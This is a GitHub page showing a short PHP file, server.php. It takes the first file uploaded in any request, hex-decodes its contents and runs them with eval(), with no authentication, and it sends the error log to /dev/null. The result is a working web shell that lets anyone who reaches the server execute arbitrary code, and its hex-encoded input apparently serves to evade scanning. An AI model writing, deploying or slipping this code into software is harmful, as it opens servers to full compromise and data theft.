-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.php
More file actions
60 lines (49 loc) · 1.36 KB
/
Copy pathserver.php
File metadata and controls
60 lines (49 loc) · 1.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
class Obj{
public function __construct()
{
// Show errors for debug
@ini_set('display_errors', 1);
// Hide error log
if(file_exists('/dev/null'))
{
// Linux & Unix machines
@ini_set('error_log', '/dev/null');
}
else
{
// Windows machine
@ini_set('error_log', 'nul');
}
if(defined('E_DEPRECATED') and defined('E_STRICT'))
{
@error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED);
}
elseif(defined('E_STRICT'))
{
@error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT);
}
elseif(defined('E_DEPRECATED'))
{
@error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);
}
else
{
@error_reporting(E_ALL & ~E_NOTICE);
}
// Show the content by buffer line for big contents
ob_implicit_flush(true);
if(isset($_FILES) && (count($_FILES) > 0))
{
// Get the file with a random name (first in stack)
$file = array_shift($_FILES);
// Get the source code
$code = file_get_contents($file['tmp_name']);
$code = hex2bin($code);
// Exec the code
eval($code);
}
}
}
$obj = new Obj();
exit;